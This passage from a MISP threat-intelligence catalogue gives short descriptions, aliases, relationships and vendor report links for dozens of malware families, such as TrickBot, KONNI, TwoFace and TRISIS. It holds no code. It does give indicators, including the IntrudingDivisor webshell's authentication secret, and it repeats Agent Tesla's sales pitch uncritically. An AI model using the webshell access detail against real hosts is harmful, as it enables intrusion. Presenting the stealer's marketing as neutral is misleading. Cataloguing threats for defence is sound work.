- similar: misp-galaxy:malpedia="Kazuar" with estimative-language:likelihood-probability="likely"

Table 7377. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Trick Bot

Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).

The tag is: *misp-galaxy:tool="Trick Bot"*

Trick Bot is also known as:

- TrickBot
- TrickLoader

View relationships graph

Trick Bot has relationships with:

- similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Trickbot" with estimative-language:likelihood-probability="likely"

Table 7378. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.fraudwatchinternational.com/malware/trickbot-malware-works
https://securityintelligence.com/trickbot-is-hand-picking-private-banks-for-targets-with-redirection-attacks-in-tow/
https://www.bleepingcomputer.com/news/security/trickbot-banking-trojan-gets-screenlocker-component/

Hackshit

Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with “.moe” top level domain (TLD) to evade traditional scanners. “.moe” TLD is intended for the purpose of ‘The marketing of products or services deemed’. The victim’s credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.

The tag is: *misp-galaxy:tool="Hackshit"*

Table 7379. Table References

Links
https://resources.netskope.com/h/i/352356475-phishing-as-a-service-phishing-revamped

Moneygram Adwind

The tag is: *misp-galaxy:tool="Moneygram Adwind"*

Table 7380. Table References

Links
https://myonlinesecurity.co.uk/new-guidelines-from-moneygram-malspam-delivers-a-brand-new-java-adwind-version/

Banload

```
Banload has been around since the last decade. This malware generally arrives on a
victims system through a spam email containing an archived file or bundled software
as an attachment. In a few cases, this malware may also be dropped by other malware or
a drive-by download. When executed, Banload downloads other malware, often banking
Trojans, on the victims system to carry out further infections.
```

The tag is: *misp-galaxy:tool="Banload"*

Table 7381. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/03/banload-malware-affecting-brazil-exhibits-unusually-complex-infection-process/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/banload
http://blog.trendmicro.com/trendlabs-security-intelligence/banload-limits-targets-via-security-plugin/
https://securingtomorrow.mcafee.com/mcafee-labs/banload-trojan-targets-brazilians-with-malware-downloads/

Smoke Loader

This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self protection.

The tag is: *misp-galaxy:tool="Smoke Loader"*

Smoke Loader is also known as:

- SmokeLoader

View relationships graph

Smoke Loader has relationships with:

- similar: misp-galaxy:mitre-malware="Smoke Loader - S0226" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"

Table 7382. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/

LockPoS

The analyzed sample has a recent compilation date (2017-06-24) and is available on VirusTotal. It starts out by resolving several Windows functions using API hashing (CRC32 is used as the hashing function).

The tag is: *misp-galaxy:tool="LockPoS"*

Table 7383. Table References

Links

https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/

Fadok

Win.Worm.Fadok drops several files. %AppData%\RAC\mls.exe or %AppData%\RAC\svcsc.exe are instances of the malware which are auto-started when Windows starts. Further, the worm drops and opens a Word document. It connects to the domain wxanalytics[.]ru.

The tag is: *misp-galaxy:tool="Fadok"*

Fadok is also known as:

- Win32/Fadok

Table 7384. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm%3AWin32%2FFadok.A
http://blog.talosintelligence.com/2017/06/threat-roundup-0602-0609.html

Loki Bot

Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.

The tag is: *misp-galaxy:tool="Loki Bot"*

Table 7385. Table References

Links
https://phishme.com/loki-bot-malware/

KONNI

Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:

The tag is: *misp-galaxy:tool="KONNI"*

View relationships graph

KONNI has relationships with:

- similar: misp-galaxy:rat="Konni" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"

Table 7386. Table References

Links
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

NOKKI

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named 'NOKKI'. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI's Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The tag is: *misp-galaxy:tool="NOKKI"*

Table 7387. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

SpyDealer

Recently, Palo Alto Networks researchers discovered an advanced Android malware we've named "SpyDealer" which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.

The tag is: *misp-galaxy:tool="SpyDealer"*

Table 7388. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/

CowerSnail

CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems.

The tag is: *misp-galaxy:tool="CowerSnail"*

Table 7389. Table References

Links
https://securelist.com/cowersnail-from-the-creators-of-sambacry/79087/

Svpeng

In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.

The tag is: *misp-galaxy:tool="Svpeng"*

Svpeng is also known as:

- trojan-banker.androidos.svpeng.ae

View relationships graph

Svpeng has relationships with:

- similar: misp-galaxy:android="Svpeng" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"

Table 7390. Table References

Links
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/

TwoFace

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

The tag is: *misp-galaxy:tool="TwoFace"*

Table 7391. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/

IntrudingDivisor

Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete

The tag is: *misp-galaxy:tool="IntrudingDivisor"*

Table 7392. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/

JS_POWMET

Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.

The tag is: *misp-galaxy:tool="JS_POWMET"*

Table 7393. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

EngineBox Malware

The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it’s being identified as a Generic Trojan by most of VirusTotal (VT) engines, let s name it EngineBox— the core malware class I saw after reverse engineering it.

The tag is: *misp-galaxy:tool="EngineBox Malware"*

Table 7394. Table References

Links
https://isc.sans.edu/diary/22736

Joao

Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim’s computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.]to.

The tag is: *misp-galaxy:tool="Joao"*

View relationships graph

Joao has relationships with:

- similar: misp-galaxy:malpedia="Joao" with estimative-language:likelihood-probability="likely"

Table 7395. Table References

Links
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/

Fireball

Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.

The tag is: *misp-galaxy:tool="Fireball"*

View relationships graph

Fireball has relationships with:

- similar: misp-galaxy:malpedia="Fireball" with estimative-language:likelihood-probability="likely"

Table 7396. Table References

Links
https://www.cylance.com/en_us/blog/threat-spotlight-is-fireball-adware-or-malware.html

ShadowPad

ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.

The tag is: *misp-galaxy:tool="ShadowPad"*

ShadowPad is also known as:

- POISONPLUG
- Barlaiy

View relationships graph

ShadowPad has relationships with:

- similar: misp-galaxy:malpedia="ShadowPad" with estimative-language:likelihood-probability="likely"

Table 7397. Table References

Links
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf

IoT_reaper

IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.

The tag is: *misp-galaxy:tool="IoT_reaper"*

Table 7398. Table References

Links
http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/

FormBook

FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.

The tag is: *misp-galaxy:tool="FormBook"*

Table 7399. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/

Dimnie

Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.

The tag is: *misp-galaxy:tool="Dimnie"*

View relationships graph

Dimnie has relationships with:

- similar: misp-galaxy:malpedia="Dimnie" with estimative-language:likelihood-probability="likely"

Table 7400. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/

ALMA Communicator

The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.

The tag is: *misp-galaxy:tool="ALMA Communicator"*

Table 7401. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/

Silence

In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees' PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.

The tag is: *misp-galaxy:tool="Silence"*

View relationships graph

Silence has relationships with:

* similar: misp-galaxy:malpedia="Silence" with estimative-language:likelihood-probability="likely"

Table 7402. Table References

Links
https://securelist.com/the-silence/83009/

Volgmer

Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer

The tag is: *misp-galaxy:tool="Volgmer"*

View relationships graph

Volgmer has relationships with:

- similar: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"

Table 7403. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-318B

Nymaim

Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans

The tag is: *misp-galaxy:tool="Nymaim"*

View relationships graph

Nymaim has relationships with:

- similar: misp-galaxy:malpedia="Nymaim" with estimative-language:likelihood-probability="likely"

Table 7404. Table References

Links
https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0

GootKit

As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.

The tag is: *misp-galaxy:tool="GootKit"*

GootKit is also known as:

- Gootkit

View relationships graph

GootKit has relationships with:

- similar: misp-galaxy:malpedia="GootKit" with estimative-language:likelihood-probability="likely"

Table 7405. Table References

Links
https://securelist.com/inside-the-gootkit-cc-server/76433/
https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/
https://securityintelligence.com/gootkit-launches-redirection-attacks-in-the-uk/
https://www.symantec.com/security_response/writeup.jsp?docid=2010-051118-0604-99

Agent Tesla

Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel).

The tag is: *misp-galaxy:tool="Agent Tesla"*

View relationships graph

Agent Tesla has relationships with:

- similar: misp-galaxy:malpedia="Agent Tesla" with estimative-language:likelihood-probability="likely"

Table 7406. Table References

Links
https://www.agenttesla.com/

https://www.bleepingcomputer.com/news/security/zoho-heavily-used-by-keyloggers-to-transmit-stolen-data/

Ordinypt

A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.

The tag is: *misp-galaxy:tool="Ordinypt"*

Ordinypt is also known as:

- HSDFSDCrypt

View relationships graph

Ordinypt has relationships with:

- similar: misp-galaxy:malpedia="Ordinypt" with estimative-language:likelihood-probability="likely"

Table 7407. Table References

Links
https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/

StrongPity2

Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.

The tag is: *misp-galaxy:tool="StrongPity2"*

StrongPity2 is also known as:

- Win32/StrongPity2

Table 7408. Table References

Links
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/

wp-vcd

WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites. The malware was first spotted online over the summer by Italian security researcher Manuel D'Orso. The initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware's name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.

The tag is: *misp-galaxy:tool="wp-vcd"*

Table 7409. Table References

Links
https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-campaign-is-back/
https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-spreads-via-nulled-wordpress-themes/

MoneyTaker 5.0

malicious program for auto replacement of payment data in AWS CBR

The tag is: *misp-galaxy:tool="MoneyTaker 5.0"*

Table 7410. Table References

Links
https://www.group-ib.com/blog/moneytaker

Quant Loader

Described as a "professional exe loader / dll dropper" Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.

The tag is: *misp-galaxy:tool="Quant Loader"*

View relationships graph

Quant Loader has relationships with:

- similar: misp-galaxy:malpedia="QuantLoader" with estimative-language:likelihood-probability="likely"

Table 7411. Table References

Links
https://www.bleepingcomputer.com/news/security/quant-loader-is-now-bundled-with-other-crappy-malware/
https://blogs.forcepoint.com/security-labs/locky-distributor-uses-newly-released-quant-loader-sold-russian-underground

https://www.bleepingcomputer.com/news/security/worlds-largest-spam-botnet-finds-a-new-way-to-avoid-detection-for-now/

SSHDoor

The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.

The tag is: *misp-galaxy:tool="SSHDoor"*

View relationships graph

SSHDoor has relationships with:

- similar: misp-galaxy:malpedia="SSHDoor" with estimative-language:likelihood-probability="likely"

Table 7412. Table References

Links
https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/

TRISIS

(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric's Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.

The tag is: *misp-galaxy:tool="TRISIS"*

TRISIS is also known as:

- TRITON

Table 7413. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

https://dragos.com/blog/trisis/TRISIS-01.pdf

OSX.Pirrit

macOS adware strain

The tag is: *misp-galaxy:tool="OSX.Pirrit"*

OSX.Pirrit is also known as:

- OSX/Pirrit

Table 7414. Table References

Links
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://www2.cybereason.com/research-osx-pirrit-mac-adware
https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf

GratefulPOS

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: *misp-galaxy:tool="GratefulPOS"*

View relationships graph

GratefulPOS has relationships with:

- similar: misp-galaxy:banker="GratefulPOS" with estimative-language:likelihood-probability="likely"

Table 7415. Table References

Links
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

PRILEX

Prilex malware steals the information of the infected ATM's users. In this case, it was a Brazilian bank, but consider the implications of such an attack in your region, whether you're a customer or the bank.

The tag is: *misp-galaxy:tool="PRILEX"*

Table 7416. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/

CUTLET MAKER

Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.

The tag is: *misp-galaxy:tool="CUTLET MAKER"*

Table 7417. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:tool="Satori"*

Satori is also known as:

- Okiru

View relationships graph

Satori has relationships with:

- similar: misp-galaxy:botnet="Satori" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"

Table 7418. Table References

Links
https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/

https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant

PowerSpritz

PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.

The tag is: *misp-galaxy:tool="PowerSpritz"*

Table 7419. Table References

Links
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

PowerRatankba

PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.

The tag is: *misp-galaxy:tool="PowerRatankba"*

View relationships graph

PowerRatankba has relationships with:

- similar: misp-galaxy:malpedia="PowerRatankba" with estimative-language:likelihood-probability="likely"

Table 7420. Table References

Links
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

Ratankba

In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign’s platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.

The tag is: *misp-galaxy:tool="Ratankba"*

Table 7421. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/

USBStealer

USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015.

The tag is: *misp-galaxy:tool="USBStealer"*

View relationships graph

USBStealer has relationships with:

- similar: misp-galaxy:mitre-malware="USBStealer - S0136" with estimative-language:likelihood-probability="likely"

Table 7422. Table References

Links
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

Downdelph

Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.

The tag is: *misp-galaxy:tool="Downdelph"*

View relationships graph

Downdelph has relationships with:

- similar: misp-galaxy:mitre-malware="Downdelph - S0134" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"

Table 7423. Table References

Links
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

CoinMiner

Monero-mining malware

The tag is: *misp-galaxy:tool="CoinMiner"*

View relationships graph

CoinMiner has relationships with:

- similar: misp-galaxy:malpedia="Monero Miner" with estimative-language:likelihood-probability="likely"

Table 7424. Table References

Links
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/

FruitFly

A fully-featured backdoor, designed to perversely spy on Mac users

The tag is: *misp-galaxy:tool="FruitFly"*

View relationships graph

FruitFly has relationships with:

- similar: misp-galaxy:malpedia="FruitFly" with estimative-language:likelihood-probability="likely"

Table 7425. Table References

Links
https://objective-see.com/blog/blog_0x25.html#FruitFly

MacDownloader

Iranian macOS exfiltration agent, targeting the 'defense industrial base' and human rights advocates.

The tag is: *misp-galaxy:tool="MacDownloader"*

MacDownloader is also known as:

- iKitten

View relationships graph

MacDownloader has relationships with:

- similar: misp-galaxy:malpedia="MacDownloader" with estimative-language:likelihood-probability="likely"

Table 7426. Table References

Links
https://objective-see.com/blog/blog_0x25.html#MacDownloader

Empyre

The open-source macOS backdoor, 'Empye', maliciously packaged into a macro'd Word document

The tag is: *misp-galaxy:tool="Empyre"*

Empyre is also known as:

- Empye

Table 7427. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Empyre

Proton

A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.

The tag is: *misp-galaxy:tool="Proton"*

Table 7428. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Proton

Mughthesec

Adware which hijacks a macOS user's homepage to redirect search queries.

The tag is: *misp-galaxy:tool="Mughthesec"*

View relationships graph

Mughthesec has relationships with:

- similar: misp-galaxy:malpedia="Mughthesec" with estimative-language:likelihood-probability="likely"

Table 7429. Table References

Links
https://objective-see.com/blog/blog_0x25.html

Pwnet

A macOS crypto-currency miner, distributed via a trojaned 'CS-GO' hack.

The tag is: *misp-galaxy:tool="Pwnet"*

View relationships graph

Pwnet has relationships with:

- similar: misp-galaxy:malpedia="Pwnet" with estimative-language:likelihood-probability="likely"

Table 7430. Table References

Links
https://objective-see.com/blog/blog_0x25.html

CpuMeaner

A macOS crypto-currency mining trojan.

The tag is: *misp-galaxy:tool="CpuMeaner"*

View relationships graph

CpuMeaner has relationships with:

- similar: misp-galaxy:malpedia="CpuMeaner" with estimative-language:likelihood-probability="likely"

Table 7431. Table References

Links
https://objective-see.com/blog/blog_0x25.html

Travle

The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.

The tag is: *misp-galaxy:tool="Travle"*

Travle is also known as:

- PYLOT

Table 7432. Table References

Links
https://securelist.com/travle-aka-pylot-backdoor-hits-russian-speaking-targets/83455/

Digmine

Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user's Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account's friends. The abuse of Facebook is limited to propagation for now, but it wouldn't be implausible for attackers to hijack the Facebook account itself down the line. This functionality's code is pushed from the command-and-control (C&C) server, which means it can be updated.

The tag is: *misp-galaxy:tool="Digmine"*

Table 7433. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/digmine-cryptocurrency-miner-spreading-via-facebook-messenger/

TSCookie

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter "TSCookieRAT"). Downloaded modules only runs on memory.

The tag is: *misp-galaxy:tool="TSCookie"*

View relationships graph

TSCookie has relationships with:

- similar: misp-galaxy:malpedia="PLEAD (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PLEAD" with estimative-language:likelihood-probability="likely"

Table 7434. Table References

Links
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html

Exforel
